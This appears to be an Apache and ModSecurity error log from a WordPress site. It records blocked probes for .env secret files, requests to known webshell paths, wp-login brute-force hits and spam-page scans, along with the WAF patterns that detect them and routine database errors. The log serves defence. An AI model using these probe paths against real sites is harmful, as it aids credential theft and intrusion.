[Fri Feb 27 19:08:34.904330 2026] [:error] [pid 54101:tid 54117] [client 93.190.49.83:56306] [client 93.190.49.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.190.49.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaF7MlY5qgRktcYTGFsxOAAAAck"]
[Fri Feb 27 19:18:56.264750 2026] [:error] [pid 54231:tid 54256] [client 43.130.34.74:46558] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaF9oOTvb5AeyJCdY7DwxAAAAFY"]
[Fri Feb 27 19:34:19.272807 2026] [:error] [pid 62998:tid 63021] [client 51.38.135.40:58418] [client 51.38.135.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.135.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGBO1QeueXZDUmoLokhIgAAARM"]
[Fri Feb 27 19:52:46.968793 2026] [:error] [pid 52073:tid 52096] [client 144.91.109.68:33382] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "aaGFjoa650YPyxXVeRYMZAAAAZQ"]
[Fri Feb 27 19:52:47.121108 2026] [:error] [pid 52073:tid 52083] [client 144.91.109.68:33386] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aaGFj4a650YPyxXVeRYMZgAAAYc"]
[Fri Feb 27 19:52:47.121188 2026] [:error] [pid 62998:tid 63005] [client 144.91.109.68:33384] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aaGFj1QeueXZDUmoLokmIQAAAQM"]
[Fri Feb 27 19:52:47.206024 2026] [:error] [pid 52073:tid 52089] [client 144.91.109.68:33380] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aaGFj4a650YPyxXVeRYMZwAAAY0"]
[Fri Feb 27 19:52:47.454220 2026] [:error] [pid 52073:tid 52092] [client 144.91.109.68:33700] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aaGFj4a650YPyxXVeRYMaAAAAZA"]
[Fri Feb 27 19:52:47.462932 2026] [:error] [pid 54103:tid 54193] [client 144.91.109.68:33702] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aaGFj-vG4MPCmE0B2sCTNwAAANY"]
[Fri Feb 27 19:52:47.542349 2026] [:error] [pid 54103:tid 54184] [client 144.91.109.68:33704] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/core/.env"] [unique_id "aaGFj-vG4MPCmE0B2sCTOAAAAM0"]
[Fri Feb 27 19:52:47.542668 2026] [:error] [pid 62998:tid 63023] [client 144.91.109.68:33706] [client 144.91.109.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "aaGFj1QeueXZDUmoLokmJAAAARU"]
[Fri Feb 27 19:56:14.163675 2026] [proxy_fcgi:error] [pid 56075:tid 56084] [client 49.13.134.145:65276] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772193373.9588398933410644531250', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/
[Fri Feb 27 20:01:14.018291 2026] [:error] [pid 56075:tid 56097] [client 116.202.3.129:57212] [client 116.202.3.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.3.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGHisKBhrfI6KNv9Rh7AwAAABM"]
[Fri Feb 27 20:41:06.320240 2026] [:error] [pid 54103:tid 54182] [client 91.92.242.178:41324] [client 91.92.242.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaGQ4uvG4MPCmE0B2sCczgAAAMs"]
[Fri Feb 27 20:41:21.625152 2026] [autoindex:error] [pid 56075:tid 56083] [client 91.92.242.178:40768] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 20:41:37.172490 2026] [autoindex:error] [pid 49306:tid 49329] [client 91.92.242.178:46154] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 20:41:44.180881 2026] [:error] [pid 56075:tid 56091] [client 91.92.242.178:33228] [client 91.92.242.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGRCMKBhrfI6KNv9RikggAAAA0"]
[Fri Feb 27 20:43:56.900638 2026] [:error] [pid 62998:tid 63009] [client 78.88.230.100:42604] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.88.230.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGRjFQeueXZDUmoLok6EwAAAQc"]
[Fri Feb 27 20:51:14.138605 2026] [:error] [pid 52073:tid 52090] [client 59.125.102.142:56034] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGTQoa650YPyxXVeRY2AwAAAY4"]
[Fri Feb 27 20:57:28.918667 2026] [:error] [pid 49306:tid 49331] [client 3.216.224.118:57160] [client 3.216.224.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.216.224.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGUuPnSUDZue59Px9sGfQAAAVc"]
[Fri Feb 27 21:05:07.443008 2026] [:error] [pid 62998:tid 63014] [client 54.36.100.158:57942] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.100.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGWg1QeueXZDUmoLolAUQAAAQw"]
[Fri Feb 27 21:13:59.257643 2026] [:error] [pid 54231:tid 54249] [client 54.38.208.175:47380] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.208.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaGYl-Tvb5AeyJCdY7AL-gAAAE8"]
[Fri Feb 27 21:17:39.024258 2026] [proxy_fcgi:error] [pid 54101:tid 54129] [client 135.181.213.219:42776] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772198258.9806149005889892578125', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Fri Feb 27 21:17:52.547767 2026] [:error] [pid 54101:tid 54122] [client 135.181.213.219:6076] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaGZgFY5qgRktcYTGFs--wAAAc4"]
[Fri Feb 27 21:17:56.400124 2026] [:error] [pid 56075:tid 56097] [client 135.181.213.219:6098] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaGZhMKBhrfI6KNv9RjC7QAAABM"]
[Fri Feb 27 21:17:58.822283 2026] [:error] [pid 49306:tid 49308] [client 135.181.213.219:6120] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaGZhvnSUDZue59Px9sPlwAAAUA"]
[Fri Feb 27 21:18:01.466888 2026] [:error] [pid 54102:tid 54158] [client 135.181.213.219:51106] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaGZiXi74D4fiYUm_Gds1wAAAI4"]
[Fri Feb 27 21:18:03.961797 2026] [:error] [pid 54231:tid 54239] [client 135.181.213.219:51122] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaGZi-Tvb5AeyJCdY7AM7wAAAEU"]
[Fri Feb 27 21:18:06.445165 2026] [:error] [pid 52073:tid 52092] [client 135.181.213.219:51134] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaGZjoa650YPyxXVeRZH3wAAAZA"]
[Fri Feb 27 21:18:12.306586 2026] [:error] [pid 54103:tid 54185] [client 135.181.213.219:7654] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aaGZlOvG4MPCmE0B2sCi2gAAAM4"]
[Fri Feb 27 21:18:14.799328 2026] [:error] [pid 52073:tid 52077] [client 135.181.213.219:7662] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaGZloa650YPyxXVeRZIAgAAAYE"]
[Fri Feb 27 21:18:17.449486 2026] [:error] [pid 54231:tid 54239] [client 135.181.213.219:7670] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaGZmeTvb5AeyJCdY7AM_QAAAEU"]
[Fri Feb 27 21:18:20.076148 2026] [:error] [pid 54231:tid 54252] [client 135.181.213.219:7684] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaGZnOTvb5AeyJCdY7ANAwAAAFI"]
[Fri Feb 27 21:18:22.635941 2026] [:error] [pid 52073:tid 52084] [client 135.181.213.219:9394] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaGZnoa650YPyxXVeRZICQAAAYg"]
[Fri Feb 27 21:18:25.265408 2026] [:error] [pid 56075:tid 56096] [client 135.181.213.219:9396] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaGZocKBhrfI6KNv9RjDUAAAABI"]
[Fri Feb 27 21:18:27.892966 2026] [:error] [pid 54231:tid 54243] [client 135.181.213.219:9412] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaGZo-Tvb5AeyJCdY7ANEQAAAEk"]
[Fri Feb 27 21:18:30.351443 2026] [:error] [pid 49306:tid 49330] [client 135.181.213.219:9424] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaGZpvnSUDZue59Px9sP0gAAAVY"]
[Fri Feb 27 21:18:32.996209 2026] [:error] [pid 54103:tid 54184] [client 135.181.213.219:43830] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaGZqOvG4MPCmE0B2sCi6gAAAM0"]
[Fri Feb 27 21:18:35.488444 2026] [:error] [pid 52073:tid 52089] [client 135.181.213.219:43840] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaGZq4a650YPyxXVeRZIIgAAAY0"]
[Fri Feb 27 21:18:38.109239 2026] [:error] [pid 52073:tid 52085] [client 135.181.213.219:43842] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaGZroa650YPyxXVeRZINQAAAYk"]
[Fri Feb 27 21:18:38.303505 2026] [:error] [pid 52073:tid 52089] [client 135.181.213.219:43840] [client 135.181.213.219] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "165.22.61.120_819adb323fe6ce4a9d08353b8b257c052e42b375"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaGZq4a650YPyxXVeRZIIgAAAY0"]
[Fri Feb 27 21:18:40.730030 2026] [:error] [pid 54231:tid 54255] [client 135.181.213.219:35206] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaGZsOTvb5AeyJCdY7ANJAAAAFU"]
[Fri Feb 27 21:18:43.220360 2026] [:error] [pid 49306:tid 49314] [client 135.181.213.219:35214] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaGZs_nSUDZue59Px9sP4QAAAUY"]
[Fri Feb 27 21:18:45.917483 2026] [:error] [pid 56075:tid 56086] [client 135.181.213.219:35220] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaGZtcKBhrfI6KNv9RjDqwAAAAk"]
[Fri Feb 27 21:28:30.765492 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 159.69.158.189:22728] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772198910.4190781116485595703125', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/
[Fri Feb 27 21:30:48.162405 2026] [autoindex:error] [pid 49306:tid 49319] [client 45.131.195.249:57733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:30:48.404309 2026] [autoindex:error] [pid 49306:tid 49317] [client 45.131.195.249:57733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:30:48.632086 2026] [autoindex:error] [pid 49306:tid 49320] [client 45.131.195.249:57733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:30:48.912750 2026] [autoindex:error] [pid 49306:tid 49331] [client 45.131.195.249:57733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:37:17.082185 2026] [proxy_fcgi:error] [pid 54231:tid 54254] [client 20.104.124.39:32504] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772199437.0191180706024169921875', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Fri Feb 27 21:37:47.265327 2026] [proxy_fcgi:error] [pid 54231:tid 54243] [client 20.104.124.39:32388] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1772199467.1942439079284667968750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Fri Feb 27 21:37:53.774052 2026] [autoindex:error] [pid 49306:tid 49322] [client 20.104.124.39:32474] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 21:38:12.978847 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32396] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aaGeRMKBhrfI6KNv9RjyvAAAABc"]
[Fri Feb 27 21:38:14.302575 2026] [:error] [pid 52073:tid 52077] [client 20.104.124.39:32390] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aaGeRoa650YPyxXVeRZ9jAAAAYE"]
[Fri Feb 27 21:38:15.412256 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32392] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aaGeR8KBhrfI6KNv9Rjy1gAAABY"]
